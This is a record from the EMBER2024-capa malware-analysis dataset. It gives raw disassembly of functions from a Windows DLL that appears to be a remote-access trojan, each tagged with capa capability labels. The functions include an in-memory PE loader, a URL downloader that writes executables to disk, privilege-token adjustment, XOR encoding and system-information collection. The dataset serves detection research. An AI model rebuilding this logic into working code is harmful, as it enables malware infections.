joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005cc0
Capabilities:
Enumerate devices by category

Disassembly:
sub esp, 0x28
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
push str.Ole32.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.CoInitialize
push edi
call esi
push str.CoUninitialize
push edi
mov ebp, eax
call esi
push str.CoCreateInstance
push edi
mov dword [esp + 0x2c], eax
call esi
push str.Oleaut32.dll
mov dword [esp + 0x1c], eax
call ebx
mov ebx, eax
push str.SysFreeString
push ebx
call esi
push 0
mov esi, eax
call ebp
lea eax, [esp + 0x1c]
xor ebp, ebp
push eax
push 0x1001a7d4
push 1
push ebp
push 0x1001a7f4
call dword [esp + 0x2c]
test eax, eax
je 0x10005d3b
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x28
ret
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x10]
push 0
push edx
mov ecx, dword [eax]
push 0x1001a7e4
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x10005d5f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x28
ret
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x18]
mov edx, dword [eax]
push ecx
push 1
push eax
call dword [edx + 0xc]
test eax, eax
jne 0x10005df6
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push ecx
push 0x100194bc
mov edx, dword [eax]
push 0
push 0
push eax
call dword [edx + 0x24]
test eax, eax
jl 0x10005dd2
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x28]
push 0
mov word [esp + 0x2c], 8
mov edx, dword [eax]
push ecx
push str.FriendlyName
push eax
call dword [edx + 0xc]
test eax, eax
jne 0x10005dc8
mov edx, dword [esp + 0x30]
inc ebp
push edx
call esi
mov eax, dword [esp + 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x14]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x20]
push edx
lea edx, [esp + 0x18]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x10005d83
call dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x10005e07
push edi
call esi
test ebx, ebx
je 0x10005e0e
push ebx
call esi
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x28
ret

Function at 0x10005f90
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ecx
lea eax, [esp]
push 0
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x10005fea
mov eax, dword [esp]
mov ecx, eax
and ecx, 1
cmp cl, 1
jne 0x10005fb7
mov eax, str.MODEM_l
pop ecx
ret
mov edx, eax
and edx, 2
cmp dl, 2
jne 0x10005fc8
mov eax, str.LAN_l
pop ecx
ret
mov ecx, eax
and ecx, 4
cmp cl, 4
jne 0x10005fd9
mov eax, str.PROXY_l
pop ecx
ret
and eax, 8
cmp al, 8
mov eax, str.BUSY_l
je 0x10005fea
mov eax, str.OTHER_l
pop ecx
ret
Function at 0x10006070
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x30c
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], 0
mov esi, str.CTXOPConntion_Class
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 5
lea edi, [esp + 0xc]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x20]
mov byte [esp + 0x214], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x215]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, eax
test ebp, ebp
je 0x100061f0
mov esi, str.CTXOPConntion_Class
lea eax, [esp + 0xc]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000610d
test cl, cl
je 0x10006109
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000610d
add eax, 2
add esi, 2
test cl, cl
jne 0x100060e9
xor eax, eax
jmp 0x10006112
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100061cc
lea eax, [esp + 0xc]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [esp + ecx + 0xb]
dec ecx
cmp al, 0x5f
jne 0x10006139
lea edi, [esp + ecx + 0xd]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x214]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x214]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x110]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1001eb30
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 2
push ebp
call dword [sym.imp.USER32.dll_GetWindow]
mov ebp, eax
lea eax, [esp + 0xc]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetClassNameA]
test ebp, ebp
jne 0x100060e0
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x110]
push ecx
call fcn.10005ff0
lea edi, [esp + 0x114]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
pop esi
cmp ecx, 4
pop ebp
lea eax, [esp + 0x104]
ja 0x1000622c
mov eax, str.NULL
add esp, 0x30c
ret
Function at 0x100063b0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x39c
push ebx
push ebp
push esi
push edi
push str.Cdefgh
lea eax, [esp + 0x2ac]
push str.SYSTEMCurrentControlSetServices_s
push eax
mov byte [esp + 0x78], 0xc8
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x79]
add esp, 0xc
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x6d]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [esp + 0x75]
push 0
push edx
push 1
lea eax, [esp + 0x2bc]
push str.Group
push eax
push closesocket
call fcn.10007eb0
mov ebx, dword [esp + 0x3d0]
xor ecx, ecx
mov dword [esp + 0x34], ecx
add esp, 0x20
mov dword [esp + 0x18], ecx
lea edx, [esp + 0x10]
mov dword [esp + 0x1c], ecx
lea eax, [esp + 0x14]
mov dword [esp + 0x20], ecx
mov ecx, dword [ebx + 0x48]
push edx
push eax
push ecx
mov dword [esp + 0x1c], 0x10
call dword [0x10024324]
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x2a8]
push eax
lea ecx, [esp + 0x98]
push 0x32
push ecx
mov dword [esp + 0x9c], edx
call fcn.10005e90
add esp, 0xc
lea edx, [esp + 0xdc]
mov dword [esp + 0xdc], 0x9c
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [esp + 0xe8]
lea ecx, [esp + 0xe4]
push eax
lea edx, [esp + 0xe4]
push ecx
push edx
call fcn.10006360
call fcn.10005f40
test eax, eax
lea ecx, [esp + 0x190]
setne al
push ecx
mov byte [esp + 0x1b0], al
call fcn.10005e20
add esp, 0x10
call fcn.10006070
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x202]
push eax
push edx
call ebp
call fcn.100062d0
lea edx, [esp + 0x1da]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x24]
mov dword [esp + 0x224], 0
push ecx
mov dword [esp + 0x28], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0x28]
cmp eax, 0x2bf20
jbe 0x10006543
mov dword [esp + 0x224], 1
lea edx, [esp + 0x2c]
mov dword [esp + 0x2c], 0x40
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x34]
mov edx, dword [esp + 0x38]
mov ecx, 0x14
call fcn.100094a0
mov dword [esp + 0x1a4], eax
mov eax, dword [esp + 0x3b4]
mov dword [esp + 0x198], eax
call fcn.10005cc0
mov dword [esp + 0x19c], eax
call fcn.10005f90
lea ecx, [esp + 0xc6]
push eax
push ecx
call ebp
lea edx, [esp + 0x228]
push 0x80
push edx
push str.RDP_Tcp
call fcn.10006240
lea eax, [esp + 0x2b4]
lea ecx, [esp + 0x1b4]
push eax
push 0x32
push ecx
call fcn.10005ef0
add esp, 0x18
lea edx, [esp + 0x6c]
mov ecx, ebx
push 0x23c
push edx
call fcn.10001a10
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x39c
ret
Function at 0x10006710
Capabilities:
Parse pe header

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
cmp word [eax], 0x5a4d
push edi
je 0x10006728
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [esp + 0x10], edi
cmp dword [edi], 0x4550
je 0x10006741
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov ebp, eax
test ebp, ebp
jne 0x10006778
mov edx, dword [edi + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov ebp, eax
test ebp, ebp
jne 0x10006778
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
xor eax, eax
push 4
push 0x1000
mov dword [ebx + 4], ebp
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], eax
mov eax, dword [edi + 0x50]
push eax
push ebp
call esi
mov ecx, dword [edi + 0x54]
push 4
push 0x1000
push ecx
push ebp
call esi
mov esi, dword [esp + 0x18]
mov edx, dword [edi + 0x54]
mov edi, eax
push ebx
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
push esi
push ecx
mov edx, dword [ecx + 0x3c]
add eax, edx
mov dword [ebx], eax
mov dword [eax + 0x34], ebp
call fcn.10006860
mov ecx, dword [esi + 0x34]
mov eax, ebp
add esp, 0xc
sub eax, ecx
je 0x10006801
push eax
push ebx
call fcn.100069f0
add esp, 8
push ebx
call fcn.10006a70
add esp, 4
test eax, eax
je 0x10006831
push ebx
call fcn.10006930
mov eax, dword [ebx]
add esp, 4
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10006849
add eax, ebp
test eax, eax
je 0x10006831
push 0
push 1
push ebp
call eax
test eax, eax
jne 0x10006842
push ebx
call fcn.10006c50
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov dword [ebx + 0x10], 1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret
Function at 0x10006860
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x10006921
push esi
push edi
add ebx, 0x10
cmp dword [ebx], 0
jne 0x100068cb
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x100068ff
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x100068ff
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x1000688e
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10006930
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x100069e4
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x10006987
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x100069ca
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x1001f980]
je 0x1000699e
or dh, 2
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x100069b7
test al, 0x40
je 0x100069ae
mov ecx, dword [ebx + 0x20]
jmp 0x100069b5
test al, 0x80
je 0x100069ca
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x100069ca
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x10006954
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10007810
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [esp + 0x2c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x28]
push edx
mov edx, dword [esp + 0x20]
lea ecx, [esp + 8]
push eax
mov eax, dword [esp + 0x20]
push ecx
push 0x100077e0
push edx
push eax
call fcn.100098d7
mov ecx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x10007880
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x100078a0
mov dl, byte [ecx + eax]
sub dl, 0x31
xor dl, 0xfc
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x1000788f
pop esi
ret

Function at 0x100078b0
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call fcn.10008914
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000791e
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call fcn.10011780
add esp, 8
test eax, eax
jne 0x100078fc
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000791e
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x100078f4
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10007907
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x10007930
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019480
push 0x10008964
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push ebx
push esi
push edi
push str.user32.dll
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call ebx
mov edi, eax
mov dword [ebp - 0x2c], edi
push str.GetThreadDesktop
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x3c], eax
push str.GetUserObjectInformationA
push edi
call esi
mov dword [ebp - 0x20], eax
push str.SetThreadDesktop
push edi
call esi
mov dword [ebp - 0x140], eax
push str.CloseDesktop
push edi
call esi
mov dword [ebp - 0x38], eax
push str.kernel32.dll
call ebx
mov ebx, eax
mov dword [ebp - 0x30], ebx
push str.GetCurrentThreadId
push ebx
call esi
call eax
push eax
call dword [ebp - 0x3c]
mov esi, eax
mov dword [ebp - 0x28], 1
mov dword [ebp - 4], 0
lea eax, [ebp - 0x34]
push eax
push pe_nt_image_headers32
lea ecx, [ebp - 0x13c]
push ecx
push 2
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x20]
test eax, eax
jne 0x100079e9
mov dword [ebp - 0x28], eax
jmp 0x10007a00
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x140]
test eax, eax
jne 0x100079fc
mov dword [ebp - 0x28], eax
jmp 0x10007a00
push esi
call dword [ebp - 0x38]
mov dword [ebp - 4], 0xffffffff
call fcn.10007a26
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007b50
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x418
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebx, 1
push str.wininet.dll
mov dword [esp + 0x18], edi
mov dword [esp + 0x24], edi
mov byte [esp + 0x17], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call ebp
push edi
push edi
push edi
push edi
push str.MSIE_6.0
call eax
mov edi, eax
test edi, edi
mov dword [esp + 0x24], edi
je 0x10007bc3
push str.InternetOpenUrlA
push esi
call ebp
mov ecx, dword [esp + 0x42c]
push 0
push closesocket
push 0
push 0
push ecx
push edi
call eax
test eax, eax
mov dword [esp + 0x18], eax
jne 0x10007bdb
test esi, esi
je 0x10007bce
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret
mov edx, dword [esp + 0x430]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x10007c74
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x28]
push str.InternetReadFile
rep stosd dword es:[edi], eax
push esi
call ebp
lea ecx, [esp + 0x14]
lea edx, [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x1c]
push 0x400
push edx
push ecx
call eax
test ebx, ebx
je 0x10007c39
cmp word [esp + 0x28], 0x5a4d
jne 0x10007c60
mov eax, dword [esp + 0x14]
xor ebx, ebx
lea edx, [esp + 0x20]
push ebx
push edx
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x30]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x10007c65
jmp 0x10007c01
mov byte [esp + 0x13], 0
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x24]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push esi
call ebp
mov ecx, dword [esp + 0x18]
mov ebx, eax
push ecx
call ebx
push edi
call ebx
test esi, esi
je 0x10007c9b
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x418
ret
Function at 0x10007cb0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x24
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.ADVAPI32.dll
mov byte [esp + 0x18], 1
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenProcessToken
push edi
call esi
push str.AdjustTokenPrivileges
push edi
mov ebx, eax
call esi
push str.LookupPrivilegeValueA
push edi
mov dword [esp + 0x24], eax
call esi
push str.kernel32.dll
mov dword [esp + 0x1c], eax
call ebp
push str.GetCurrentProcess
push eax
mov dword [esp + 0x28], eax
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x28
call eax
push eax
call ebx
test eax, eax
jne 0x10007d1e
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
neg edx
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 1
sbb edx, edx
push eax
and edx, 2
push ecx
push 0
mov dword [esp + 0x3c], edx
call dword [esp + 0x24]
mov eax, dword [esp + 0x10]
push 0
push 0
lea edx, [esp + 0x2c]
push 0x10
push edx
push 0
push eax
call dword [esp + 0x34]
push str.KERNEL32.dll
call ebp
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x10007d75
mov byte [esp + 0x14], 0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x10007d8d
push edi
call esi
mov eax, dword [esp + 0x20]
test eax, eax
je 0x10007d98
push eax
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
and eax, 0xff
pop ebx
add esp, 0x24
ret
Function at 0x10008140
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100194b0
push 0x10008964
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x20], 0
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov dword [ebp - 0x38], edi
push str.RegCreateKeyExA
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x2c], eax
push str.RegSetValueExA
push edi
call esi
mov dword [ebp - 0x34], eax
push str.RegDeleteKeyA
push edi
call esi
mov dword [ebp - 0x1c], eax
push str.RegDeleteValueA
push edi
call esi
mov dword [ebp - 0x40], eax
push str.RegOpenKeyExA
push edi
call esi
mov ebx, eax
push str.RegCloseKey
push edi
call esi
mov dword [ebp - 0x30], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.0x1000822f.3
jmp dword [eax*4 + 0x100082f8]
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x3c]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x2c]
test eax, eax
jne case.0x1000822f.3
lea ecx, [ebp - 0x3c]
push ecx
push 0x2001f
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call ebx
test eax, eax
jne case.0x1000822f.3
mov ebx, dword [ebp + 0x14]
lea eax, [ebx - 1]
cmp eax, 6
ja case.0x1000822f.3
jmp dword [eax*4 + 0x10008308]
mov esi, dword [ebp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push esi
jmp 0x1000824b
push 4
lea eax, [ebp + 0x1c]
push eax
push ebx
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
call dword [ebp - 0x34]
test eax, eax
jne case.0x1000822f.3
jmp 0x100082b1
lea eax, [ebp - 0x3c]
push eax
push 0x2001f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call ebx
test eax, eax
jne case.0x1000822f.3
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [ebp - 0x1c]
test eax, eax
jne case.0x1000822f.3
jmp 0x100082b1
lea edx, [ebp - 0x3c]
push edx
push 0x2001f
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call ebx
test eax, eax
jne case.0x1000822f.3
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call dword [ebp - 0x40]
test eax, eax
jne case.0x1000822f.3
mov dword [ebp - 0x20], 1
mov dword [ebp - 4], 0xffffffff
call fcn.100082e6
test edi, edi
je 0x100082cf
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10008330
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000834e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x1000834e
xor eax, eax
ret
mov eax, 1
ret
Function at 0x1000bf7e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000bf9e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.1000bd5f
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x1000bfc1
test byte [esp + 8], 2
je 0x1000bfc1
call fcn.1000bdd2
mov dword [eax], 0xd
call fcn.1000bddb
mov dword [eax], 5
jmp 0x1000bf9a
xor eax, eax
ret